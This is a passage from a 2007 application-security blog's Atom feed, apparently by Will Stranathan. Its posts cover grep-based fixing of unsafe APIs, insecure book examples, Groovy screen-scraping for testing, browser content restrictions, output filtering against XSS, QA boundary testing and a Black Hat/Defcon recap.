title='Evil Mashup'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-6924627653668563619</id><published>2007-09-11T23:45:00.000Z</published><updated>2007-09-12T00:32:03.748Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Some Things are Easier to Fix than Find</title><content type='html'>Okay, I've not gone off my rocker.  It's &lt;span style="font-weight: bold;"&gt;almost&lt;/span&gt; true.&lt;br /&gt;&lt;br /&gt;When performing an application test, you might not find every single instance of a particular vulnerability.  Due to time, tool, or other resource constraints, some things simply slip through the cracks.  A common response to this is to enumerate all of them that were found with a great big note to the developers that this is a pervasive issue, and that a global policy needs to be adopted to fix them all.  And of course, there's always the pushback - "we'll fix exactly the instances you find."&lt;br /&gt;&lt;br /&gt;This is where I think "old school" static analysis far outshines the new fangled static analysis engines.  With a really good developer, grep, and a hammer, fixing semantic flaws really comes down to a few short steps:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Identify the common idioms used that result in "bad things".  These will differ from environment to environment, which is why you have the sharp developer.  Some examples:&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;%= %&gt; tags&lt;/li&gt;&lt;li&gt;Connection.createStatement()&lt;/li&gt;&lt;li&gt;.exec()&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;Grep the entire source tree for those idioms.&lt;/li&gt;&lt;li&gt;Replace.  The examples above become:&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;c:out&gt; tags (in Java.  And I realize there are other things you need to do to make that work)&lt;/c:out&gt;&lt;/li&gt;&lt;li&gt;Connection.prepareStatement() and PreparedStatement.set...()&lt;/li&gt;&lt;li&gt;Get rid of it&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;Again, that's a really, really broad strokes example.  But although a lot of shops use bad API's, they use them in a way that's consistent.  So the replacement is consistent.  And it's quicker to grep for those cases than it is for an assessment team to perform a complete deep dive on every single form element and known values that go into the application.  It's next to impossible to cover every edge case in a running application. Tthere are t&lt;a href="http://fortifysoftware.com/products/tracer/"&gt;ools that can help you do that&lt;/a&gt;, but they're not free, and you still have to perform all the assessment work to determine that it was covered.  Why not just understand the set of API's generally used, fix those, then do a good code review on the remainder, possible uncovering some additional API's that can be grep'ped.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-6924627653668563619?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/6924627653668563619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/09/some-things-are-easier-to-fix-than-find.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6924627653668563619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/6924627653668563619'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/09/some-things-are-easier-to-fix-than-find.html' title='Some Things are Easier to Fix than Find'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5890815372608113077</id><published>2007-09-04T22:20:00.000Z</published><updated>2007-09-04T22:34:39.349Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='books'/><title type='text'>Full-Disclosure Paper Edition?</title><content type='html'>While the cats over at &lt;a href="http://sla.ckers.org/forum/list.php?3"&gt;sla.ckers&lt;/a&gt; (and others) do a great job of finding real vulnerabilities in real applications, we don't actually spend much time calling out book authors for the same.&lt;br /&gt;&lt;br /&gt;A couple of guys had a presentation at a recent conference (I won't mention names because they certainly weren't the first to call out a book for telling people to do stuff in a silly way) where they followed design patterns from books on web application  coding and ended up with a really horrible (in terms of security) application.  They were gutsy enough to name the books they used for the design patterns.  But this is really rare.&lt;br /&gt;&lt;br /&gt;It seems that while we want for developers to be trained as real engineers who apply real engineering and computer science principals to problems, many developers writing real-world, high-visibility applications were mostly trained from bad tutorials on the internet and books at the local bookstore.&lt;br /&gt;&lt;br /&gt;I churned on the idea of setting up a full-disclosure paper edition website, modeled after the other full-disclosure sites, but then there are issues with copyright violation and such - whereas with reporting web vulnerabilities is mostly a question of ethics, I think full-disclosure in a paper edition would be a question of copyright issue and legality.  While I'm all for publishers and authors being accountable for the material they publish (hey, bloggers too - call me out when I'm wrong), I can't in good conscience stand up a site that I don't know the legality of the material that would end up on it.&lt;br /&gt;&lt;br /&gt;That being said, do we take programming examples with a grain of salt?  Do we look at them with the same scrutiny as we do the sites themselves?  Where a single vulnerability on a single website is genuine, it's also one person's mistake in the end result.  But flaws in books are by people who claim to be experts in the field of development, published by publishers who vouch for the authenticity of that expert opinion, fool users into believing that the book indeed tells the right way to do something.&lt;br /&gt;&lt;br /&gt;Is this all a result of the internet, where niche experts are considered authoritative on more subjects than they ought?  Where somebody writes a few blog posts on a subject and are &amp;quot;discovered&amp;quot; by a publisher who needs to get some print out in that niche market?  If that's the case, how do we convince developers to use a greater level of discernment when they do that google to figure out how to use a new API?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5890815372608113077?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sla.ckers.org/forum/list.php?3' title='Full-Disclosure Paper Edition?'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5890815372608113077/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/09/full-disclosure-paper-edition.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5890815372608113077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5890815372608113077'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/09/full-disclosure-paper-edition.html' title='Full-Disclosure Paper Edition?'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1403947353730848641</id><published>2007-08-23T23:19:00.001Z</published><updated>2007-08-23T23:44:15.012Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='groovy'/><title type='text'>I've Said it Before, but...</title><content type='html'>Now, ordinarily, I hate screen-scraping.  If there's any other way to get the raw data, I go there first.  I go through whatever (ethical) channels necessary to get direct access to the source data, whether it be in a relational database, LDAP, XML, straight text, spreadsheets, or made up out of nowhere.  I can't stand screen-scraping because screen-scraping is normally very sensitive to change.  Screen-scraping HTML is not generally as bad as telnet or green-screen, but it's still bad enough that I try to avoid doing it - particularly when the HTML is malformed.&lt;br /&gt;&lt;br /&gt;But today was another occasion where it was necessary simply because I couldn't get access to the systems I needed in the timeframe I needed.  What would have made this one more difficult is that the source HTML had very few line breaks to do text parsing, and the HTML was also not properly XML formatted, and to boot, was poorly-enough HTML formatted that an event-based HTML parser simply wasn't going to work out.&lt;br /&gt;&lt;br /&gt;Fortunately, I've done a little screen scraping with &lt;a href="http://groovy.codehaus.org/"&gt;Groovy&lt;/a&gt; before, and this task wasn't significantly more difficult than other tasks I've done before.  And again, &lt;a href="http://people.apache.org/%7Eandyc/neko/doc/html/"&gt;NekoHTML&lt;/a&gt; came to the rescue.  NekoHTML takes poorly-formatted HTML code (in this case, really poorly formatted) and balances unbalanced tags (had plenty), closes unclosed tags (had many), quotes unquoted attribute values (lots of those today), and gives sensible default values to un-valued attributes (and a bunch of those, too).  What results is actually well-formed (not necessarily validating, but well-formed) XML, which you can parse with any ordinary XML parse.&lt;br /&gt;&lt;br /&gt;In this case, I used &lt;a href="http://groovy.codehaus.org/Reading+XML+using+Groovy%27s+XmlParser"&gt;XmlParser&lt;/a&gt;, which allows me to do very nice &lt;a href="http://groovy.codehaus.org/GPath"&gt;GPath&lt;/a&gt; queries.  GPath works similarly to XPath, but allows you to find really complicated paths.  For example, in English, "find me the text in all the &amp;lt;strong&amp;lt; tags that are under &amp;lt;a&amp;gt; tags such that their 'href' attribute matches this regular expression."  In an event-based parser, that would take a lot of work, in DOM it would be easier, but still a lot of code, and the XPath would just be nasty.  In GPath, it looks like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;texts = page.depthFirst().A.grep { it.'@href' =~ /^.*\.action\?foo=(.*)$/ }.collect { it.value.STRONG.value }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Which is much fewer lines of code.&lt;br /&gt;&lt;br /&gt;Now, what does this have to do with application security?  For those who do black-box testing, there are times that your toolkit doesn't quite have enough in it.  Your proxy is powerful, but just won't get you all the values you need.  If there are special considerations you need to take in order to try brute-force authentication, or if you've found a good SQL injection attack, but the way the data comes back is finicky, scripting is often appropriate.  So if you're looking for another swiss-army knife, some (understandably) are still Perl enthusiasts, (understandably) happy with Python, (understandably) infatuated with Ruby, but so far, Groovy has really been doing good work for me.&lt;br /&gt;&lt;br /&gt;That being said, the GPath statements aren't specific to HTML - GPath works with XML, which is why you might need NekoHTML.  And NekoHTML isn't specific to Groovy - it's a java library, so you can use it with your other java code and use whatever XML handling you prefer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1403947353730848641?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1403947353730848641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/ive-said-it-before-but.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1403947353730848641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1403947353730848641'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/ive-said-it-before-but.html' title='I&apos;ve Said it Before, but...'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3596764890031441061</id><published>2007-08-12T17:00:00.000Z</published><updated>2007-08-12T17:11:51.343Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Content Restrictions - A Call for Input</title><content type='html'>RSnake has had several conversations with the Mozilla team on some security features he would like to see, and the one they've latched onto is Content Restrictions.  The idea is that a site can tell your browser "I only serve these types of content, don't accept anything else from me"  RSnake has asked folks to &lt;a href="http://ha.ckers.org/blog/20070811/content-restrictions-a-call-for-input/"&gt;provide their input on what they'd like to see&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Here's how I'd like to see that pan out:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The content-type restrictions probably should &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; go into an XML file, or the browser should have serious restrictions on the XML, such as not expanding entities, etc.  If I can't trust the site for some reason, how am I to trust that the XML won't DoS my browser?&lt;/li&gt;&lt;li&gt;The content-type restrictions should probably come in headers (a la Etag's), not on a file on the root of the site (a-la robots.txt), because the restrictions may be different in different paths of the site - consider a single host that hosts several applications, each of those may return different types of content.  This would also give applications the ability to dynamically change those restrictions (unfortunately, if there's header injection or response-splitting, the attack can certainly mangle these responses as well).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;If I can tell a browser only to trust me so far, it would be wonderful to be able to extend this even further.  For example:  don't trust 302's from me that take you out of my domain (WOW!), don't send back any requests to me that wouldn't also send Cookie &lt;span style="font-style: italic;"&gt;n&lt;/span&gt;. Only POST to me if post parameter &lt;span style="font-style: italic;"&gt;n&lt;/span&gt; is included, don't ever GET, HEAD, TRACE, to these paths - only POST.&lt;/li&gt;&lt;/ul&gt;And then this is off the topic, but one feature I'd &lt;span style="font-weight: bold;"&gt;love&lt;/span&gt; to see is for the Yes or OK button to default to doing the &lt;span style="font-weight: bold;"&gt;right&lt;/span&gt; thing.  For example, if a site has an expired certificate, if you click Yes, Yes means to do the very bad thing we just told you not to.  Anti-phishing says Click Yes to visit this naughty site we've already determined is naughty.  If they know it's naughty, they know what it's trying to spoof, so make Yes take you to the &lt;span style="font-weight: bold;"&gt;real&lt;/span&gt; site, not the fake one.&lt;br /&gt;&lt;br /&gt;Be sure to send your input to RSnake.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3596764890031441061?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://ha.ckers.org/blog/20070811/content-restrictions-a-call-for-input/' title='Content Restrictions - A Call for Input'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3596764890031441061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/content-restrictions-call-for-input.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3596764890031441061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3596764890031441061'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/content-restrictions-call-for-input.html' title='Content Restrictions - A Call for Input'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2336979806027357446</id><published>2007-08-11T00:09:00.000Z</published><updated>2007-08-11T00:21:48.350Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>More on Output Filtering</title><content type='html'>Another &lt;a href="http://www.cigital.com/justiceleague/about#scott"&gt;one of the Justice League guys&lt;/a&gt; has posted about the value of output filtering.  Now, the people at &lt;a href="http://cigital.com/"&gt;Cigital&lt;/a&gt; are uber smart - not because they're blogging about output filtering, but because they actually look at code from a very academic perspective.  If you're not reading &lt;a href="http://cigital.com/justiceleague/"&gt;Justice League&lt;/a&gt;, you should be.&lt;br /&gt;&lt;br /&gt;Now, I'm not sure I've ever said that you &lt;span style="font-weight:bold;"&gt;shouldn't&lt;/span&gt; do input validation.  I hope I never have, and if I have, I apologize for leading you astray.  However, the phrase I've been using in reporting for some time is &amp;quot;business-rule input validation, presentation-specific output filtering&amp;quot;.  A favorite line of a favorite movie of mine (&lt;a href="http://www.amazon.com/gp/product/B00009WVSJ?ie=UTF8&amp;tag=sylvvonstup-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B00009WVSJ"&gt;PCU&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=sylvvonstup-20&amp;l=as2&amp;o=1&amp;a=B00009WVSJ" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /&gt;) is when Gutter is going to see George Clinton, and he's wearing a Funkadelic shirt:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;Droz:&lt;/span&gt;&lt;/span&gt;  What's this? You're wearing the shirt of the band you're going to see? Don't be that guy.&lt;br /&gt;&lt;br /&gt;While I understand the desire to prepare data early (when it comes in), you've already manipulated it to be improper in some other context.  For example, if you HTML encode data when it comes in, a month from now when you're using it in a PDF, your customers will complain about all these &amp;amp;lt; in it.&lt;br /&gt;&lt;br /&gt;And the very best thing about output filtering is that it can be a habit.  Scott hit the nail on the head in his post - the way that you properly get input squared away varies all the time, but output filtering for each presentation layer is always the same.  In HTML/XML, using .encodeAsHTML() or &amp;lt;c:out /&amp;gt; or Server.HTMLEncode becomes a habit, just as much as the style guides you expect your developers to adhere to.  And it's something that can be checked with a couple of regex's, instead of a really expensive tool (not that those really expensive tools aren't good for other things).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2336979806027357446?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.cigital.com/justiceleague/2007/08/10/mitigating-xss-why-input-validation-is-bogus/' title='More on Output Filtering'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2336979806027357446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/more-on-output-filtering.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2336979806027357446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2336979806027357446'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/more-on-output-filtering.html' title='More on Output Filtering'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-945626325277359456</id><published>2007-08-08T14:38:00.000Z</published><updated>2007-08-08T15:04:03.650Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='qa'/><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Thoughts on QA Security Testing</title><content type='html'>In several different contexts, I've been involved in conversations concerning testing for security defects in QA.  Here's my take on it.&lt;br /&gt;&lt;br /&gt;Remember that I'm a fundamentalist.  I love the American League (the Senior Circuit), but hate the DH.  I believe engineers should be trained in securing, but not hacking, and I believe that coders should be trained in coding correctly, but not security.  I know those sound shocking to people who are experts in security, but there's nothing different about eliminating an injection attack than there is in ensuring that the new presentation layer doesn't barf.&lt;br /&gt;&lt;br /&gt;That being said, I don't think QA testing needs to do security testing.  They &lt;span style="font-weight:bold;"&gt;do&lt;/span&gt; need to perform &amp;quot;out of bounds&amp;quot; testing, however.  QA groups generally take the functional requirements of the application, and test to ensure that all of the functional requirements are met, but they don't test to ensure that things outside the requirements are properly handled.  For example, if a field is supposed to be non-blank, alpha-numeric characters, with a maximum length of 20, they will make sure that when non-blank, alpha-numeric characters numbering fewer than or equal to 20 are entered, they do not cause the application to barf.  They generally &lt;span style="font-weight:bold;"&gt;don't&lt;/span&gt; test to ensure that more than 20 characters cause a proper warning, or that non-alpha, non-numeric characters don't cause an application failure.&lt;br /&gt;&lt;br /&gt;Even with a stored cross-site scripting vulnerability, a proper functional test will actually reveal that the later-rendered pages don't render properly - this is assuming you have proper functional tests.  But it will also reveal when the input validation and output filtering techniques being employed aren't working - which are the real core to stopping the various types of injection attacks.&lt;br /&gt;&lt;br /&gt;I am &lt;span style="font-weight:bold;"&gt;not&lt;/span&gt; advocating that later security testing be eliminated.  Nor am I advocating that your developers not perform static analysis.  I'm just advocating that QA groups begin testing for things that are outside the functional requirements to determine that the application fails gracefully, and that they report anything suspicious back to the development team.  In order for this to work, it's critical that your functional requirements be very specific about what is allowed, and that the QA testing not only ensures that what is allowed works, but that things outside the allowed range don't work.  We still need security experts to engineer the application properly and to do real security testing for logical flaws (and yes, the few semantic flaws that will fall through the previous steps) after a proper code/QA/rinse-repeat cycle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-945626325277359456?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/945626325277359456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/thoughts-on-qa-security-testing.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/945626325277359456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/945626325277359456'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/thoughts-on-qa-security-testing.html' title='Thoughts on QA Security Testing'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3875760611295429052</id><published>2007-08-08T02:17:00.000Z</published><updated>2007-08-08T02:44:13.847Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>Radeox Wiki Rendering</title><content type='html'>My apologies if the link doesn't work.&lt;br /&gt;&lt;br /&gt;In &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/01/stopping-xss-but-allowing-html-is-hard.html"&gt;previous&lt;/a&gt; &lt;a href="http://sylvanvonstuppe.blogspot.com/2006/11/eradicate-xss-once-and-for-all_20.html"&gt;posts&lt;/a&gt;, I made a recommendation that you use a wiki markup library as an alternate method to allow your users to enter formatted text instead of HTML, in order to reduce the possibility of cross-site scripting.  And I mentioned that I did a cursory look for one and couldn't find one.&lt;br /&gt;&lt;br /&gt;So I did another search tonight, and &lt;a href="http://radeox.org/"&gt;Radeox&lt;/a&gt;, has been made a separate library from &lt;a href="http://snipsnap.org/space/start"&gt;SnipSnap&lt;/a&gt;.  And to further add to my excitement, there's already a &lt;a href="http://grails.codehaus.org/Radeox+plugin"&gt;plugin&lt;/a&gt; for it for &lt;a href="http://grails.codehaus.org/"&gt;Grails&lt;/a&gt;.  The plugin comes with example domain classes, controllers, and views for an uber-simple wiki.  But you don't have to use it for a Wiki - you could certainly use it for just more simple rich-text editing.&lt;br /&gt;&lt;br /&gt;Now, it appears that SnipSnap development has stalled (stopped) and the &lt;a href="http://www.pabrantes.net/blog/space/start/2007-07-09/1#Software_Developing:_SnipSnap_and_Snip_It"&gt;one viable fork&lt;/a&gt; has very little available other than some initial mods in subversion, but nothing on Sourceforge, and no real momentum (yet).  If that's the case, (the SnipSnap folks say this &lt;a href="http://snipsnap.org/space/start/2007-06-29/1#SnipSnap_development_has_ceased..."&gt;shouldn't be the case&lt;/a&gt;), that might explain why &lt;a href="http://www.radeox.org/"&gt;Radeox&lt;/a&gt;'s site is not responding for now.  I hope this doesn't go away.&lt;br /&gt;&lt;br /&gt;I would like to be able to snap a WYSIWYG editor into Radeox, but the one open source WYSIWYG editor that's not wired into an existing project is &lt;a href="http://www.fckeditor.net/"&gt;FCKEditor&lt;/a&gt;, but it doesn't appear you can change what the markup is - it's only HTML, which would require you to expect XHTML in order to do &lt;span style="font-weight: bold;"&gt;really&lt;/span&gt; good input validation to ensure that no scriptable attributes are included (not only event handlers, but styles that allow javascript, etc.).&lt;br /&gt;&lt;br /&gt;So take a look at the &lt;a href="http://grails.codehaus.org/Radeox+plugin"&gt;Radeox plugin for Grails&lt;/a&gt;, and hopefully somebody with some time will begin to pick up Radeox and or SnipSnap again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3875760611295429052?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://radeox.org/' title='Radeox Wiki Rendering'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3875760611295429052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/radeox-wiki-rendering.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3875760611295429052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3875760611295429052'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/radeox-wiki-rendering.html' title='Radeox Wiki Rendering'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-820543733458302832</id><published>2007-08-05T01:27:00.000Z</published><updated>2007-08-20T19:37:34.019Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='blackhat'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Black Hat/Defcon Wrapup(s)</title><content type='html'>As will most people who went, I'll be putting up a few of the interesting things that happened this week at Black Hat and Defcon.  Here's a teaser of what I had the best time with:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/"&gt;Jeremiah Grossman&lt;/a&gt; and &lt;a href="http://ha.ckers.org/"&gt;RSnake&lt;/a&gt;'s presentation on Hacking Intranet Apps&lt;/li&gt;&lt;li&gt;Eugene Tsyrklevich and Vlad Tsyrklevich's prsentation on &lt;a href="http://openid.net/"&gt;OpenID&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Major Malfunction's presentation on &lt;a href="http://www.rfidiot.org/"&gt;RFIDiot&lt;/a&gt;s&lt;/li&gt;&lt;li&gt;Iron Chef Black Hat by a slew of folks from &lt;a href="http://www.fortifysoftware.com/"&gt;Fortify Software&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.cqure.net/wp/"&gt;Patrik Karlsson&lt;/a&gt;'s presentation on SQL Injection and OOB channeling&lt;/li&gt;&lt;li&gt;Zac Franken's &lt;a href="http://blog.wired.com/27bstroke6/2007/08/open-sesame-acc.html"&gt;presentation on hacking your access control reader&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;All in all, it was a good week.  Back again for more Defcon tomorrow, then back home.  If there's anything I learned this week, it's that I still have a lot to learn.  And I think I like being on the solution side of the coin more than being on the problem side of the coin.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-820543733458302832?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/820543733458302832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/black-hatdefcon-wrapups.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/820543733458302832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/820543733458302832'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/08/black-hatdefcon-wrapups.html' title='Black Hat/Defcon Wrapup(s)'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3733615215336195714</id><published>2007-08-04T14:37:00.000Z</published><updated>2007-08-04T14:46:49.850Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='good habits'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Finally, somebody sees it my way</title><content type='html'>Okay, &lt;a href="http://www.cigital.com/justiceleague/about/#pravir"&gt;Pravir&lt;/a&gt; had the idea all on his own.  But this is the soapbox I almost constantly 